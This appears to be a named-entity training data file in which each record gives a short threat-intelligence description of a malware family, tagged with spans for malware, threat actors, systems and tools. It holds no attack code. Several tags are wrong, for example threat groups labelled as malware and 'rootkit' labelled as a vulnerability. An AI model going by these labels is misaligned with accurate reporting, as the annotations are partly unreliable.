+{"text": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.", "spans": {"MALWARE: SHIPSHAPE": [[0, 9]], "THREAT_ACTOR: APT30": [[34, 39], [113, 118]]}, "info": {"source": "apt_reports", "name": "SHIPSHAPE"}}
+{"text": "Cherry Picker is a point of sale (PoS) memory scraper.", "spans": {"MALWARE: Cherry Picker": [[0, 13]]}, "info": {"source": "apt_reports", "name": "Cherry Picker"}}
+{"text": "SUPERNOVA is an in-memory web shell written in .NET C#. It was discovered in November 2020 during the investigation of APT29's SolarWinds cyber operation but determined to be unrelated. Subsequent analysis suggests SUPERNOVA may have been used by the China-based threat group SPIRAL.", "spans": {"MALWARE: SUPERNOVA": [[0, 9], [215, 224]], "THREAT_ACTOR: APT29": [[119, 124]], "SYSTEM: SolarWinds": [[127, 137]], "SYSTEM: .NET": [[47, 51]]}, "info": {"source": "apt_reports", "name": "SUPERNOVA"}}
+{"text": "P2P ZeuS is a closed-source fork of the leaked version of the ZeuS botnet. It presents improvements over the leaked version, including a peer-to-peer architecture.", "spans": {"MALWARE: P2P ZeuS": [[0, 8]]}, "info": {"source": "apt_reports", "name": "P2P ZeuS"}}
+{"text": "Kivars is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by BlackTech in a 2010 campaign.", "spans": {"MALWARE: Kivars": [[0, 6]], "THREAT_ACTOR: BlackTech": [[93, 102]], "MALWARE: Bifrost": [[63, 70]]}, "info": {"source": "apt_reports", "name": "Kivars"}}
+{"text": "CaddyWiper is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.", "spans": {"MALWARE: CaddyWiper": [[0, 10]]}, "info": {"source": "apt_reports", "name": "CaddyWiper"}}
+{"text": "Cyclops Blink is a modular malware that has been used in widespread campaigns by Sandworm Team since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. Cyclops Blink is assessed to be a replacement for VPNFilter, a similar platform targeting network devices.", "spans": {"MALWARE: Cyclops Blink": [[0, 13], [198, 211]], "THREAT_ACTOR: Sandworm": [[81, 89]], "MALWARE: Cyclops": [[0, 7], [198, 205]], "MALWARE: Sandworm Team": [[81, 94]], "MALWARE: VPNFilter": [[248, 257]]}, "info": {"source": "apt_reports", "name": "Cyclops Blink"}}
+{"text": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.", "spans": {"MALWARE: PoisonIvy": [[0, 9]]}, "info": {"source": "apt_reports", "name": "PoisonIvy"}}
+{"text": "Seasalt is malware that has been linked to APT1's 2010 operations. It shares some code similarities with OceanSalt.", "spans": {"MALWARE: Seasalt": [[0, 7]], "THREAT_ACTOR: APT1": [[43, 47]], "MALWARE: OceanSalt": [[105, 114]]}, "info": {"source": "apt_reports", "name": "Seasalt"}}
+{"text": "NativeZone is the name given collectively to disposable custom Cobalt Strike loaders used by APT29 since at least 2021.", "spans": {"MALWARE: NativeZone": [[0, 10]], "THREAT_ACTOR: Cobalt": [[63, 69]], "THREAT_ACTOR: APT29": [[93, 98]], "TOOL: Cobalt Strike": [[63, 76]]}, "info": {"source": "apt_reports", "name": "NativeZone"}}
+{"text": "NanoCore is a modular remote access tool developed in .NET that can be used to spy on victims and steal information. It has been used by threat actors since 2013.", "spans": {"MALWARE: NanoCore": [[0, 8]], "SYSTEM: .NET": [[54, 58]]}, "info": {"source": "apt_reports", "name": "NanoCore"}}
+{"text": "TajMahal is a multifunctional spying framework that has been in use since at least 2014. TajMahal is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.", "spans": {"MALWARE: TajMahal": [[0, 8], [89, 97]]}, "info": {"source": "apt_reports", "name": "TajMahal"}}
+{"text": "PLEAD is a remote access tool (RAT) and downloader used by BlackTech in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong. PLEAD has also been referred to as TSCookie, though more recent reporting indicates likely separation between the two. PLEAD was observed in use as early as March 2017.", "spans": {"MALWARE: PLEAD": [[0, 5], [142, 147], [261, 266]], "THREAT_ACTOR: BlackTech": [[59, 68]], "MALWARE: TSCookie": [[177, 185]]}, "info": {"source": "apt_reports", "name": "PLEAD"}}
+{"text": "Raccoon Stealer is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. Raccoon Stealer has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.", "spans": {"MALWARE: Raccoon Stealer": [[0, 15], [147, 162]], "MALWARE: Raccoon": [[0, 7], [147, 154]]}, "info": {"source": "apt_reports", "name": "Raccoon Stealer"}}
+{"text": "IPsec Helper is a post-exploitation remote access tool linked to Agrius operations. This malware shares significant programming and functional overlaps with Apostle ransomware, also linked to Agrius. IPsec Helper provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.", "spans": {"MALWARE: IPsec Helper": [[0, 12], [200, 212]], "MALWARE: Apostle": [[157, 164]], "MALWARE: Agrius": [[65, 71], [192, 198]]}, "info": {"source": "apt_reports", "name": "IPsec Helper"}}
+{"text": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi.", "spans": {"MALWARE: Daserf": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Daserf"}}
+{"text": "GoldFinder is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform  threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. GoldFinder was discovered in early 2021 during an investigation into the SolarWinds Compromise by APT29.", "spans": {"MALWARE: GoldFinder": [[0, 10], [277, 287]], "THREAT_ACTOR: SolarWinds Compromise": [[350, 371]], "THREAT_ACTOR: APT29": [[375, 380]], "SYSTEM: SolarWinds": [[350, 360]], "SYSTEM: Go": [[51, 53]], "MALWARE: route": [[68, 73]]}, "info": {"source": "apt_reports", "name": "GoldFinder"}}
+{"text": "Carbon is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. Carbon has been selectively used by Turla to target government and foreign affairs-related organizations in Central Asia.", "spans": {"MALWARE: Carbon": [[0, 6], [125, 131]], "THREAT_ACTOR: Turla": [[161, 166]]}, "info": {"source": "apt_reports", "name": "Carbon"}}
+{"text": "LoJax is a UEFI rootkit used by APT28 to persist remote access software on targeted systems.", "spans": {"MALWARE: LoJax": [[0, 5]], "THREAT_ACTOR: APT28": [[32, 37]], "SYSTEM: UEFI": [[11, 15]], "VULNERABILITY: rootkit": [[16, 23]]}, "info": {"source": "apt_reports", "name": "LoJax"}}
+{"text": "Cardinal RAT is a potentially low volume remote access trojan (RAT) observed since December 2015. Cardinal RAT is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.", "spans": {"MALWARE: Cardinal RAT": [[0, 12], [98, 110]], "SYSTEM: Windows": [[196, 203]], "ORGANIZATION: Microsoft": [[186, 195]]}, "info": {"source": "apt_reports", "name": "Cardinal RAT"}}
+{"text": "DanBot is a first-stage remote access Trojan written in C# that has been used by HEXANE since at least 2018.", "spans": {"MALWARE: DanBot": [[0, 6]], "MALWARE: HEXANE": [[81, 87]]}, "info": {"source": "apt_reports", "name": "DanBot"}}
+{"text": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.", "spans": {"MALWARE: BISCUIT": [[0, 7]], "THREAT_ACTOR: APT1": [[44, 48]]}, "info": {"source": "apt_reports", "name": "BISCUIT"}}
+{"text": "Calisto is a macOS Trojan that opens a backdoor on the compromised machine. Calisto is believed to have first been developed in 2016.", "spans": {"MALWARE: Calisto": [[0, 7], [76, 83]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "apt_reports", "name": "Calisto"}}
+{"text": "Solar is a C#/.NET backdoor that was used by OilRig during the Outer Space campaign to download, execute, and exfiltrate files.", "spans": {"MALWARE: Solar": [[0, 5]], "THREAT_ACTOR: OilRig": [[45, 51]], "THREAT_ACTOR: Outer Space": [[63, 74]], "SYSTEM: .NET": [[14, 18]]}, "info": {"source": "apt_reports", "name": "Solar"}}
+{"text": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.", "spans": {"MALWARE: Pisloader": [[0, 9]], "THREAT_ACTOR: APT18": [[150, 155]], "MALWARE: HTTPBrowser": [[198, 209]]}, "info": {"source": "apt_reports", "name": "Pisloader"}}
+{"text": "GoldenSpy is a backdoor malware which has been packaged with legitimate tax preparation software. GoldenSpy was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.", "spans": {"MALWARE: GoldenSpy": [[0, 9], [98, 107]]}, "info": {"source": "apt_reports", "name": "GoldenSpy"}}
+{"text": "Gold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Gold Dragon": [[0, 11], [122, 133]], "SYSTEM: Brave": [[154, 159]], "MALWARE: Brave Prince": [[154, 166]], "MALWARE: RunningRAT": [[171, 181]]}, "info": {"source": "apt_reports", "name": "Gold Dragon"}}
+{"text": "RGDoor is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. RGDoor has been seen deployed on webservers belonging to the Middle East government organizations. RGDoor provides backdoor access to compromised IIS servers.", "spans": {"MALWARE: RGDoor": [[0, 6], [98, 104], [197, 203]], "SYSTEM: IIS": [[53, 56], [244, 247]]}, "info": {"source": "apt_reports", "name": "RGDoor"}}
+{"text": "Ramsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.", "spans": {"MALWARE: Ramsay": [[0, 6], [188, 194]], "MALWARE: Darkhotel": [[203, 212]]}, "info": {"source": "apt_reports", "name": "Ramsay"}}
+{"text": "Neo-reGeorg is an open-source web shell designed as a restructuring of reGeorg with improved usability, security, and fixes for exising reGeorg bugs.", "spans": {"MALWARE: Neo-reGeorg": [[0, 11]], "MALWARE: reGeorg": [[4, 11], [71, 78], [136, 143]]}, "info": {"source": "apt_reports", "name": "Neo-reGeorg"}}
+{"text": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.", "spans": {"MALWARE: FakeM": [[0, 5]], "THREAT_ACTOR: Scarlet Mimic": [[66, 79]], "SYSTEM: Windows": [[27, 34]]}, "info": {"source": "apt_reports", "name": "FakeM"}}
+{"text": "Carberp is a credential and information stealing malware that has been active since at least 2009. Carberp's source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.", "spans": {"MALWARE: Carberp": [[0, 7], [99, 106]], "MALWARE: Carbanak": [[196, 204]]}, "info": {"source": "apt_reports", "name": "Carberp"}}
+{"text": "FRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.", "spans": {"MALWARE: FRAMESTING": [[0, 10]], "THREAT_ACTOR: Cutting Edge": [[54, 66]], "SYSTEM: Edge": [[62, 66]], "SYSTEM: Python": [[16, 22], [106, 112]], "SYSTEM: Ivanti": [[84, 90]]}, "info": {"source": "apt_reports", "name": "FRAMESTING"}}
+{"text": "HARDRAIN is a Trojan malware variant reportedly used by the North Korean government.", "spans": {"MALWARE: HARDRAIN": [[0, 8]]}, "info": {"source": "apt_reports", "name": "HARDRAIN"}}
+{"text": "NKAbuse is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.", "spans": {"MALWARE: NKAbuse": [[0, 7]], "SYSTEM: Go": [[13, 15]]}, "info": {"source": "apt_reports", "name": "NKAbuse"}}
+{"text": "Pillowmint is a point-of-sale malware used by FIN7 designed to capture credit card information.", "spans": {"MALWARE: Pillowmint": [[0, 10]], "THREAT_ACTOR: FIN7": [[46, 50]]}, "info": {"source": "apt_reports", "name": "Pillowmint"}}
+{"text": "TrailBlazer is a modular malware that has been used by APT29 since at least 2019.", "spans": {"MALWARE: TrailBlazer": [[0, 11]], "THREAT_ACTOR: APT29": [[55, 60]]}, "info": {"source": "apt_reports", "name": "TrailBlazer"}}
+{"text": "Revenge RAT is a freely available remote access tool written in .NET (C#).", "spans": {"MALWARE: Revenge RAT": [[0, 11]], "SYSTEM: .NET": [[64, 68]]}, "info": {"source": "apt_reports", "name": "Revenge RAT"}}
+{"text": "MacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021. MacMa shares command and control and unique libraries with MgBot and Nightdoor, indicating a relationship with the Daggerfly threat actor.", "spans": {"MALWARE: MacMa": [[0, 5], [129, 134], [186, 191]], "SYSTEM: macOS": [[11, 16]], "MALWARE: Nightdoor": [[255, 264]], "MALWARE: MgBot": [[245, 250]], "MALWARE: Daggerfly": [[301, 310]]}, "info": {"source": "apt_reports", "name": "MacMa"}}
+{"text": "FunnyDream is a backdoor with multiple components that was used during the FunnyDream campaign since at least 2019, primarily for execution and exfiltration.", "spans": {"THREAT_ACTOR: FunnyDream": [[0, 10], [75, 85]]}, "info": {"source": "apt_reports", "name": "FunnyDream"}}
+{"text": "ROADSWEEP is a ransomware that was deployed against Albanian government networks during HomeLand Justice along with the CHIMNEYSWEEP backdoor.", "spans": {"MALWARE: ROADSWEEP": [[0, 9]], "THREAT_ACTOR: HomeLand Justice": [[88, 104]], "MALWARE: CHIMNEYSWEEP": [[120, 132]]}, "info": {"source": "apt_reports", "name": "ROADSWEEP"}}
+{"text": "SUNSPOT is an implant that injected the SUNBURST backdoor into the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNSPOT": [[0, 7]], "THREAT_ACTOR: APT29": [[126, 131]], "SYSTEM: SolarWinds": [[67, 77]], "SYSTEM: SolarWinds Orion": [[67, 83]], "MALWARE: SUNBURST": [[40, 48]]}, "info": {"source": "apt_reports", "name": "SUNSPOT"}}
+{"text": "MOPSLED is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including UNC3886 and APT41.", "spans": {"MALWARE: MOPSLED": [[0, 7]], "THREAT_ACTOR: APT41": [[125, 130]], "THREAT_ACTOR: UNC3886": [[113, 120]]}, "info": {"source": "apt_reports", "name": "MOPSLED"}}
+{"text": "More_eggs is a JScript backdoor used by Cobalt Group and FIN6. Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4.", "spans": {"MALWARE: More_eggs": [[0, 9], [105, 114]], "THREAT_ACTOR: Cobalt": [[40, 46]], "THREAT_ACTOR: FIN6": [[57, 61]], "MALWARE: Cobalt Group": [[40, 52]]}, "info": {"source": "apt_reports", "name": "More_eggs"}}
+{"text": "SysUpdate is a backdoor written in C++ that has been used by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: SysUpdate": [[0, 9]], "MALWARE: Threat Group-3390": [[61, 78]]}, "info": {"source": "apt_reports", "name": "SysUpdate"}}
+{"text": "TinyZBot is a bot written in C# that was developed by Cleaver.", "spans": {"MALWARE: TinyZBot": [[0, 8]], "THREAT_ACTOR: Cleaver": [[54, 61]]}, "info": {"source": "apt_reports", "name": "TinyZBot"}}
+{"text": "OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: OutSteel": [[0, 8]], "MALWARE: Saint Bear": [[116, 126]]}, "info": {"source": "apt_reports", "name": "OutSteel"}}
+{"text": "BackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.", "spans": {"MALWARE: BackConfig": [[0, 10]], "MALWARE: Patchwork": [[88, 97]]}, "info": {"source": "apt_reports", "name": "BackConfig"}}
+{"text": "PowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.", "spans": {"MALWARE: PowGoop": [[0, 7]], "THREAT_ACTOR: MuddyWater": [[105, 115]], "TOOL: PowerShell": [[56, 66]]}, "info": {"source": "apt_reports", "name": "PowGoop"}}
+{"text": "Kwampirs is a backdoor Trojan used by Orangeworm. Kwampirs has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Kwampirs has multiple technical overlaps with Shamoon based on reverse engineering analysis.", "spans": {"MALWARE: Kwampirs": [[0, 8], [50, 58], [200, 208]], "THREAT_ACTOR: Orangeworm": [[38, 48]], "MALWARE: Shamoon": [[246, 253]]}, "info": {"source": "apt_reports", "name": "Kwampirs"}}
+{"text": "Nerex is a Trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Nerex": [[0, 5]], "MALWARE: Elderwood": [[26, 35]]}, "info": {"source": "apt_reports", "name": "Nerex"}}
+{"text": "BoomBox is a downloader responsible for executing next stage components that has been used by APT29 since at least 2021.", "spans": {"MALWARE: BoomBox": [[0, 7]], "THREAT_ACTOR: APT29": [[94, 99]]}, "info": {"source": "apt_reports", "name": "BoomBox"}}
+{"text": "DEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).", "spans": {"MALWARE: DEADEYE": [[0, 7], [83, 90], [162, 169], [212, 219]], "THREAT_ACTOR: APT41": [[52, 57]]}, "info": {"source": "apt_reports", "name": "DEADEYE"}}
+{"text": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data.", "spans": {"MALWARE: PUNCHTRACK": [[0, 10]], "THREAT_ACTOR: FIN8": [[76, 80]]}, "info": {"source": "apt_reports", "name": "PUNCHTRACK"}}
+{"text": "Proton is a macOS backdoor focusing on data theft and credential access  .", "spans": {"MALWARE: Proton": [[0, 6]], "SYSTEM: macOS": [[12, 17]]}, "info": {"source": "apt_reports", "name": "Proton"}}
+{"text": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.", "spans": {"MALWARE: Trojan.Mebromi": [[0, 14]], "SYSTEM: BIOS": [[18, 22]]}, "info": {"source": "apt_reports", "name": "Trojan.Mebromi"}}
+{"text": "Mango is a first-stage backdoor written in C#/.NET that was used by OilRig during the Juicy Mix campaign. Mango is the successor to Solar and includes additional exfiltration capabilities, the use of native APIs, and added detection evasion code.", "spans": {"MALWARE: Mango": [[0, 5], [106, 111]], "THREAT_ACTOR: Juicy Mix": [[86, 95]], "THREAT_ACTOR: OilRig": [[68, 74]], "SYSTEM: .NET": [[46, 50]], "MALWARE: Solar": [[132, 137]]}, "info": {"source": "apt_reports", "name": "Mango"}}
+{"text": "InnaputRAT is a remote access tool that can exfiltrate files from a victim’s machine. InnaputRAT has been seen out in the wild since 2016.", "spans": {"MALWARE: InnaputRAT": [[0, 10], [86, 96]]}, "info": {"source": "apt_reports", "name": "InnaputRAT"}}
+{"text": "WIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.", "spans": {"MALWARE: WIREFIRE": [[0, 8], [142, 150]], "THREAT_ACTOR: Cutting Edge": [[167, 179]], "SYSTEM: Edge": [[175, 179]], "SYSTEM: Python": [[35, 41]], "SYSTEM: Ivanti": [[104, 110]], "SYSTEM: VPN": [[126, 129]]}, "info": {"source": "apt_reports", "name": "WIREFIRE"}}
+{"text": "Kessel is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. Kessel has been active since its C2 domain began resolving in August 2018.", "spans": {"MALWARE: Kessel": [[0, 6], [132, 138]], "SYSTEM: OpenSSH": [[33, 40]]}, "info": {"source": "apt_reports", "name": "Kessel"}}
+{"text": "GrimAgent is a backdoor that has been used before the deployment of Ryuk ransomware since at least 2020; it is likely used by FIN6 and Wizard Spider.", "spans": {"MALWARE: GrimAgent": [[0, 9]], "THREAT_ACTOR: FIN6": [[126, 130]], "MALWARE: Wizard Spider": [[135, 148]], "MALWARE: Ryuk": [[68, 72]]}, "info": {"source": "apt_reports", "name": "GrimAgent"}}
+{"text": "LookBack is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using LookBack.", "spans": {"MALWARE: LookBack": [[0, 8], [174, 182]]}, "info": {"source": "apt_reports", "name": "LookBack"}}
+{"text": "STEADYPULSE is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: STEADYPULSE": [[0, 11]], "SYSTEM: Pulse Secure": [[49, 61]], "SYSTEM: VPN": [[62, 65]], "SYSTEM: Perl": [[111, 115]]}, "info": {"source": "apt_reports", "name": "STEADYPULSE"}}
+{"text": "Clop is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. Clop is a variant of the CryptoMix ransomware.", "spans": {"MALWARE: Clop": [[0, 4], [305, 309]], "MALWARE: CryptoMix": [[330, 339]]}, "info": {"source": "apt_reports", "name": "Clop"}}
+{"text": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.", "spans": {"THREAT_ACTOR: NetTraveler": [[0, 11]]}, "info": {"source": "apt_reports", "name": "NetTraveler"}}
+{"text": "YAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.", "spans": {"MALWARE: YAHOYAH": [[0, 7]], "MALWARE: Tropic Trooper": [[28, 42]]}, "info": {"source": "apt_reports", "name": "YAHOYAH"}}
+{"text": "Lokibot is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. Lokibot can also create a backdoor into infected systems to allow an attacker to install additional payloads.", "spans": {"MALWARE: Lokibot": [[0, 7], [208, 215]]}, "info": {"source": "apt_reports", "name": "Lokibot"}}
+{"text": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.", "spans": {"MALWARE: CallMe": [[0, 6]], "ORGANIZATION: Apple": [[38, 43]]}, "info": {"source": "apt_reports", "name": "CallMe"}}
+{"text": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.", "spans": {"MALWARE: ROCKBOOT": [[0, 8]]}, "info": {"source": "apt_reports", "name": "ROCKBOOT"}}
+{"text": "CloudDuke is malware that was used by APT29 in 2015.", "spans": {"MALWARE: CloudDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "apt_reports", "name": "CloudDuke"}}
+{"text": "Egregor is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between Egregor and Sekhmet ransomware, as well as Maze ransomware.", "spans": {"MALWARE: Egregor": [[0, 7], [141, 148]], "MALWARE: Sekhmet": [[153, 160]], "MALWARE: Maze": [[184, 188]]}, "info": {"source": "apt_reports", "name": "Egregor"}}
+{"text": "PoetRAT is a remote access trojan (RAT) that was first identified in April 2020. PoetRAT has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. PoetRAT derived its name from references in the code to poet William Shakespeare.", "spans": {"MALWARE: PoetRAT": [[0, 7], [81, 88], [298, 305]]}, "info": {"source": "apt_reports", "name": "PoetRAT"}}
+{"text": "CHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants.     It is tracked separately from the X-Agent for Android.", "spans": {"MALWARE: CHOPSTICK": [[0, 9]], "THREAT_ACTOR: APT28": [[59, 64]], "SYSTEM: Android": [[317, 324]], "SYSTEM: Windows": [[239, 246]], "SYSTEM: Linux": [[251, 256]]}, "info": {"source": "apt_reports", "name": "CHOPSTICK"}}
+{"text": "StealBit is a data exfiltration tool that is developed and maintained by the operators of the the LockBit Ransomware-as-a-Service (RaaS) and offered to affiliates to exfiltrate data from compromised systems for double extortion purposes.", "spans": {"MALWARE: StealBit": [[0, 8]]}, "info": {"source": "apt_reports", "name": "StealBit"}}
+{"text": "FELIXROOT is a backdoor that has been used to target Ukrainian victims.", "spans": {"MALWARE: FELIXROOT": [[0, 9]]}, "info": {"source": "apt_reports", "name": "FELIXROOT"}}
+{"text": "ZxShell is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.", "spans": {"MALWARE: ZxShell": [[0, 7]]}, "info": {"source": "apt_reports", "name": "ZxShell"}}
+{"text": "RIFLESPINE is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.", "spans": {"MALWARE: RIFLESPINE": [[0, 10]], "ORGANIZATION: Google": [[55, 61]]}, "info": {"source": "apt_reports", "name": "RIFLESPINE"}}
+{"text": "SLIGHTPULSE is a web shell that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: SLIGHTPULSE": [[0, 11]], "THREAT_ACTOR: APT5": [[44, 48]], "SYSTEM: Pulse Secure": [[84, 96]]}, "info": {"source": "apt_reports", "name": "SLIGHTPULSE"}}
+{"text": "NDiskMonitor is a custom backdoor written in .NET that appears to be unique to Patchwork.", "spans": {"MALWARE: NDiskMonitor": [[0, 12]], "SYSTEM: .NET": [[45, 49]], "MALWARE: Patchwork": [[79, 88]]}, "info": {"source": "apt_reports", "name": "NDiskMonitor"}}
+{"text": "CoinTicker is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.", "spans": {"MALWARE: CoinTicker": [[0, 10]]}, "info": {"source": "apt_reports", "name": "CoinTicker"}}
+{"text": "DDKONG is a malware sample that was part of a campaign by Rancor. DDKONG was first seen used in February 2017.", "spans": {"MALWARE: DDKONG": [[0, 6], [66, 72]], "MALWARE: Rancor": [[58, 64]]}, "info": {"source": "apt_reports", "name": "DDKONG"}}
+{"text": "Penquin is a remote access trojan (RAT) with multiple versions used by Turla to target Linux systems since at least 2014.", "spans": {"MALWARE: Penquin": [[0, 7]], "THREAT_ACTOR: Turla": [[71, 76]], "SYSTEM: Linux": [[87, 92]]}, "info": {"source": "apt_reports", "name": "Penquin"}}
+{"text": "BabyShark is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns.", "spans": {"MALWARE: BabyShark": [[0, 9]], "ORGANIZATION: Microsoft": [[15, 24]]}, "info": {"source": "apt_reports", "name": "BabyShark"}}
+{"text": "Cannon is a Trojan with variants written in C# and Delphi. It was first observed in April 2018.", "spans": {"MALWARE: Cannon": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Cannon"}}
+{"text": "CreepySnail is a custom PowerShell implant that has been used by POLONIUM since at least 2022.", "spans": {"MALWARE: CreepySnail": [[0, 11]], "THREAT_ACTOR: POLONIUM": [[65, 73]], "TOOL: PowerShell": [[24, 34]]}, "info": {"source": "apt_reports", "name": "CreepySnail"}}
+{"text": "build_downer is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: build_downer": [[0, 12]], "MALWARE: BRONZE BUTLER": [[51, 64]]}, "info": {"source": "apt_reports", "name": "build_downer"}}
+{"text": "Melcoz is a banking trojan family built from the open source tool Remote Access PC. Melcoz was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.", "spans": {"MALWARE: Melcoz": [[0, 6], [84, 90]]}, "info": {"source": "apt_reports", "name": "Melcoz"}}
+{"text": "Winnti for Windows is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, Winnti Group.. The Linux variant is tracked separately under Winnti for Linux.", "spans": {"MALWARE: Winnti for Windows": [[0, 18]], "SYSTEM: Windows": [[11, 18]], "SYSTEM: Linux": [[240, 245], [293, 298]], "MALWARE: Winnti Group": [[221, 233]], "MALWARE: Winnti for Linux": [[282, 298]]}, "info": {"source": "apt_reports", "name": "Winnti for Windows"}}
+{"text": "PowerPunch is a lightweight downloader that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: PowerPunch": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[61, 76]]}, "info": {"source": "apt_reports", "name": "PowerPunch"}}
+{"text": "BONDUPDATER is a PowerShell backdoor used by OilRig. It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.", "spans": {"MALWARE: BONDUPDATER": [[0, 11]], "THREAT_ACTOR: OilRig": [[45, 51]], "TOOL: PowerShell": [[17, 27]], "VULNERABILITY: spearphishing": [[257, 270]]}, "info": {"source": "apt_reports", "name": "BONDUPDATER"}}
+{"text": "Troll Stealer is an information stealer written in Go associated with Kimsuky operations. Troll Stealer has typically been delivered through a dropper disguised as a legitimate security program installation file. Troll Stealer features code similar to AppleSeed, also uniquely associated with Kimsuky operations.", "spans": {"MALWARE: Troll Stealer": [[0, 13], [90, 103], [213, 226]], "THREAT_ACTOR: Kimsuky": [[70, 77], [293, 300]], "SYSTEM: Go": [[51, 53]], "MALWARE: AppleSeed": [[252, 261]]}, "info": {"source": "apt_reports", "name": "Troll Stealer"}}
+{"text": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013.", "spans": {"MALWARE: BLACKCOFFEE": [[0, 11]]}, "info": {"source": "apt_reports", "name": "BLACKCOFFEE"}}
+{"text": "BFG Agonizer is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the Agrius threat actor.", "spans": {"MALWARE: BFG Agonizer": [[0, 12]], "MALWARE: Agrius": [[140, 146]]}, "info": {"source": "apt_reports", "name": "BFG Agonizer"}}
